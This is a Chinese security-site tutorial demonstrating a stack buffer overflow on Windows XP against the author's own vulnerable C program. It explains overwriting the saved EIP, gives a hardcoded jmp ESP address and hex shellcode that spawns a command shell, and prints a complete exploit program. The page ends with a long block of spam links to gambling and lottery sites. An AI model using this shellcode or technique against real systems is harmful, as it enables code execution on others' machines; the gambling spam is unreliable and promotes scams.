文章导航绿软下载站软件下载安卓资源苹果资源专题

您当前所在位置:首页网络安全攻防入侵 → 缓冲区溢出就是这么简单

缓冲区溢出就是这么简单

时间:2015/6/28来源:IT猫扑网作者:网管联盟我要评论(0)

在下面的叙述中,所有的缓冲区实验均在Microsoft Visual C++++ 6.0 ,Microsoft Windows XP( 版本:5.1 Build 2600 Service Pack 3 )环境下调试、测试的。

论坛的大多数朋友可能没有利用缓冲区溢出漏洞的经历,今天我给大家简单示范一下缓冲区溢出。

为了尽量简化问题,我自己准备了几个有溢出漏洞的程序。你可以在附件中找到它们。

一个程序(jc.exe)是这样的:

它的缓冲区长度是 10,你可以从 10 开始逐渐增加输入数据的长度,看一看会发生什么情况。

不过为了简化问题,我们今天溢出的目标不是它,而是下面这段程序(jc2.exe):

#include <string.h>

void MyCopy( char* str )
{
char buff[4];
strcpy( buff, str );
}

int main()
{
char input[] = "aaaaaaaaaaaa";
MyCopy ( input );
return 0;
}

这里我用 input 模拟用户输入。

大家看到,这个程序缓冲区的长度是 4,却允许用户输入任意长的数据,这是一个很白痴的错误。在实际的程序中,程序员可能会指定一个比较长的缓冲区,比如 512 字节,并想当然地认为这已经足够了。事实上,对于恶意攻击者来说,你指定多长的缓冲区都是没用的,必须对用户输入进行检查。  

错提示:"0x61616161" 指令引用的 "0x61616161" 内存。该内存不能为 "read"。

那个 61 是什么?不就是 "a" 的 ASCII 码吗?!这说明我们的输入确实覆盖了缓冲区后面的程序。

这里,你也许会问:仅仅让程序出错退出那有什么用啊?

呵呵,是没用。但你在仔细想一想出错提示……你想到了什么?

我们的输入改变了程序执行的顺序,使它尝试去读 0x61616161 的内存,结果出错了。

对!只要我们精心构造我们的数据,就能使它执行我们的代码!

为了实现这一目的,我们需要了解一些预备的知识。

首先我们需要了解一下堆栈:

堆栈一般是用来传递参数和保存子程序的局部变量,也称为后进先出(LIFO)的数据结构。堆栈的生长顺序与内存的生长顺序相反,即内存的高端是堆栈的低端,内存的低端是堆栈的高端。压栈(PUSH)指往堆栈保存数据,一般保存的是数据或数据的指针。如参数是短整型时,其数值被压入栈;参数是字符串时,指向该字符串的指针被压栈。每一个函数调用都有其栈帧,包括数据、返回地址、EBP和先前的ESP等等。

我们还需要了解一下三个重要的寄存器:

EBP:基址寄存器,其作用是保存当前线程的栈底指针。
ESP:堆栈指针寄存器,指向栈顶(即最近一次入栈数据单元的首地址)。
EIP:指令指针,存放下一个CPU指令存放的内存地址(一般代码是不能直接访问EIP的值)。

最后一点了,大家耐心一点看完啊:

当 Windows 程序发生调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存存器(EIP)中的内容作为返回地址(RET);再把基址寄存器(EBP)压入堆栈;随后将当前的栈指针(ESP)拷贝到EBP做为新的基地址;最后为本地变量留出一定空间,同时将ESP减去适当的数值。

啰里八嗦的东西我就不讲了,比如 Windows 下进程的内存分配和内存结构啊,哪些情况会导致非法访问啊……统统扔一边,现在我们已经可以解释出错的原因了。

由于输入的字符串太长, 数组 buff 容纳不下,只好向堆栈的底部方向继续写 "a"。这些 "a" 覆盖了堆栈的老的元素,导致保存的 EIP 的值被覆盖成 "a"。函数调用返回时,就必然会把 "aaaa" 的 ASCII 码视作返回地址,会试图执行 0x61616161 处的指令,结果出现难以预料的后果,这样就产生了一次缓冲区溢出。

好了,我们知道了缓冲区溢出的细节,现在可以尝试让计算机执行我们的代码了。

刚才使用字符 "a"(0x61) 作为文本文件的填充内容,以确定存在缓冲区溢出。由于 EIP = 0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。

但如果所指向的地址存在可执行代码呢?程序将转移到该处执行,而这些代码是我们安排好的……

呵呵,现在我们需要确定 EIP 的值究竟存在什么地方,方法很简单,改变 Input 的长度,看看出错提示有什么不同就行了。

经测试,发现是 Input 的 9 至 12 位覆盖了原 EIP 的值。

然后就要为我们的代码找个位置了,我们最好能够把它直接放在 EIP 的后面,这样多方便。但如何才能让它被执行呢?程序读了 EIP 的之后就会转到相应的地方执行,但我们并不知道我们的代码在内存中的位置!

幸运的是,我们可以解决这一问题。别忘了这是一个堆栈啊!EIP 被读取后,ESP 就会加 4,指向下一个数据。那里不就是我们的 shellcode 吗?

这意味着,如果从第13个字符开始填上攻击代码,且使 EIP 指向一个储存着 jmp/call ESP 指令的内存地址,那么,程序就能转移到攻击代码上,从使实现攻击!

但那里才存储着 jmp/call ESP 指令呢?

中文 win200, 2003, xp 的jmp ESP 通用跳转地址为 0x7ffa4512。

好了,我再给出一段 shellcode 代码:

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D"

作用是打开一个 DOS 窗口。你可以用自己的 shellcode 替换,但要注意 shellcode 的通用性。

所以,最终完整的程序(jc3.exe)应该是:

#include "string.h"
void MyCopy( char* str )
{
char buff[4];
strcpy( buff, str );
}

int main()
{
char buffer[] =
"aaaaaaaa\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D";

MyCopy ( buffer );
return 0;
}

经试验,shellcode 执行成功!

关键词标签:简单,这么,就是,溢出,

相关阅读

文章评论
发表评论

热门文章 攻防实战:使用Ophcrack破解系统Hash密码攻防实战:使用Ophcrack破解系统Hash密码揭秘Windows系统的四个后门揭秘Windows系统的四个后门“信任危机” 网络安全的软肋“信任危机” 网络安全的软肋IPS 网络入侵者的克星(图)IPS 网络入侵者的克星(图)

相关软件

人气排行 怎样远程盗取别人QQ聊天记录在windows下实现无线网络密码破解AiroPeekDDoS攻击教程3389远程终端常用CMD入侵命令windows下dos攻击、入侵的一些命令讲解WPA加密可以被轻松破解linux提权 Root权限WebShell提权攻防实战:使用SocksCap软件进行内网突破

9彩注册 www.028394.com-博彩彩票站-| www.157680.com-足彩怎么看胜负平| www.300188.com-腾讯体育彩票app| www.380063.com-七乐彩31期奖号| www.519238.com-福彩千禧3d彩牛网| www.593348.com-七彩投资怎么样| www.670046.com-台湾四星彩開獎记录| www.756888.cc-有个什么66的彩票| www.888182.com-爱乐彩11选5| www.977813.com-360世界杯彩票| www.kr51.com-上海中国体育彩票| www.i82.win-彩吧论坛首页正版| www.41ci.com-怎么上网买七星彩| www.4641.org-彩票中奖神奇预测术| www.02330.com-二元彩票网-| www.63286.com-许昌彩礼一般多少| www.024886.com-智慧彩票颊测| www.101117.com-8亿彩骗局赢了不给| www.170470.com-江西体彩十一选五| www.279513.com-五分彩在线计划网赚| www.368176.com-体彩六十1-| www.462955.com-环球365彩票| www.551551.cc-联众五分彩票| www.657794.com-ok精彩朱正廷| www.748005.com-甘肃福彩快三奖池| www.820902.com-七星彩新浪直播| www.891002.com-体育彩票店开业宣传| www.961558.com-彩票预测表格| 爱购彩票www.073552.com| www.gu11.com-彩票梦想站网址| www.yc01.com-七星彩历史开奖| www.20yq.com-5d体彩开奖结果| www.937.me-星彩网登录-| www.5116.cm-菲博时时彩下载| www.04904.com-重庆时彩技巧吧| www.50049.cc-华宇手机版时时彩| www.93373.cc-百家欧赔澳彩指数| www.055813.com-一分快三外挂使用| www.188756.com-快三中几个号有奖| www.260260.com-兑奖彩票-| www.332781.com-爱乐透彩票-| www.402625.com-爱彩下载安装到手机| www.509661.com-十六夜全彩母系短篇| www.578362.com-优彩彩票怎么样| www.651255.com-水彩画大师作品欣赏| www.787149.com-彩宝贝网彩票选号| www.861050.com-广东好彩1遗漏| www.923228.com-500足球彩票网| www.979451.com-彩票白菜送彩金| www.md25.com-中彩网官网首页| www.l95.xyz-七乐彩票平台| www.40mj.com-易网彩票资讯| www.0334.xyz-儿歌彩虹的约定简谱| www.6687.net-七彩蛋糕诈骗| www.375548.com-福彩三d今日字谜| www.964459.com-足彩比分气新浪| www.25958.com-彩虹是什么写句子| www.336834.com-国家体彩中心电话| www.413613.com-澳门威尼人彩票网| www.515795.cc-彩票中奖官司| www.581719.com-永盛彩票网登录| www.652817.com-各种釉彩大瓶的感想| www.787257.com-篮球竞彩比分新浪网| www.858950.com-足彩姜山-| www.919010.com-博彩app安全吗| www.974381.com-彩虹旗泡弟弟| www.ca61.com-福彩快3下载苹果版| www.sp57.com-今日体彩中奖号码| www.09ul.com-天天中彩栗2019| www.74wd.com-体彩大乐透规律技巧| www.1215.cn-彩票汇app-| www.8862.site-新疆时时采彩走势图| www.40926.com-彩票刷水稳赚| www.83960.com-福彩福彩3d-| www.030478.com-中彩股份龙江传媒| www.103769.com-78.cn彩票网页| www.166529.com-安徽体彩11选5| www.333480.cc-高频彩原理-| www.400282.com-体彩官网哪里买好点| www.527789.com-彩票之家是正规的吗| www.606303.com-足彩世界杯冷门| www.677933.com-彩票网站真假| www.747332.com-彩票69app-| www.808459.com-彩票分析大师客服| www.875484.com-5分快三计划软件| www.979178.com-星彩网彩民论坛| www.cp499.com-福彩快三是真的吗| www.ke67.com-彩票几天兑奖期限| www.zr36.com-怎么看福利彩票开奖| www.20fa.com-香江彩计划-| www.575.live-手机能上51彩虹吗| www.3847.me-百彩网免费资| www.8720.in-韩职联足彩-| www.47877.com-复式双色球彩票价钱| www.88443.cc-3d选胆图彩经网| www.033014.com-网易彩票网址电脑版| www.102107.com-国家彩票中心| www.160263.com-褔利彩票app| www.276967.com-时时彩规则改了| www.356843.com-彩票店赠品什么合适| www.430001.com-教水彩的软件| www.518436.com-天天中彩票停售| www.579394.com-网上打彩票是骗局吗| www.641197.com-体彩头像-| www.758302.com-体彩提成是多少| www.834100.com-焕彩美白精华液| www.894981.com-海南体彩手机购彩| www.955930.com-彩票数据修改| 趣彩网www.qucp0.com| www.ad48.com-河北福彩三-| www.ot26.com-手机在线购彩可信吗| www.13.vip-快三开奖福彩| www.58rm.com-福彩开奖造假的视频| www.752.website黑彩平刷-| www.3990.vip-甲骨文体彩店app| www.8822.site-中乐彩手机平台网| www.58392.com-查福彩3d开奖号| www.005631.com-1分快3开是国彩吗| www.062031.com-正版彩客app下| www.139216.com-好彩二三今期开| www.207268.com-手机正规彩票网站| www.268755.com-竞彩猫app-| www.362631.com-彩虹周杰伦完整歌词| www.433780.com-如何下载彩神通| www.517289.com-997彩-| www.574505.com-免费彩铃下载| www.633440.com-生肖彩票规则介绍| www.692652.com-进入福彩门户| www.758844.com-福利彩票微信代理| www.874021.com-大发快三和值技巧| www.951041.com-体彩福彩开奖信息| www.987610.com-彩票万能倍投器| 乐点彩票www.978797.com| www.gd21.com-彩库宝典下载| www.tv49.com-类似彩名堂app| www.5sj.com-腾讯视频分分彩| www.48zk.com-天天赢彩票平台注册| www.283.date-河南民权彩礼多少| www.2843.cc-快三星号代表什么| www.7359.pw-上海市体彩中心官网| www.15881.cc-初级彩铅画入门| www.50640.com-彩票北京快三走势图| www.87300.com-信达国际彩票| www.029057.com-传奇彩app下载| www.092720.com-商丘虞城彩礼多少| www.143247.com-彩8彩票c85-| www.206096.com-韩国福彩快三| www.262563.com-25彩票是什么| www.555538.com-福彩三位数-| www.608991.com-体彩7星彩最高奖金| www.671485.com-今晚开奖彩宝网| www.731620.com-彩票平台改结果| www.790350.com-吉林福彩块三形态图| www.851216.com-如何去店里买彩票| www.900229.com-江苏爱彩乐11选5| www.951840.com-大发时时彩app| www.984320.com-彩八彩票是真是假| www.qt23.com-体育彩票是个什么| www.q13.net-福彩3d丹东全图谜| www.31qm.com-七彩乐的开奖时间| www.248.in-二分钟开奖的彩票| www.2521.cc-什么叫体彩-| www.6902.me-云彩实体店-| www.08281.com-彩票拉人讲解|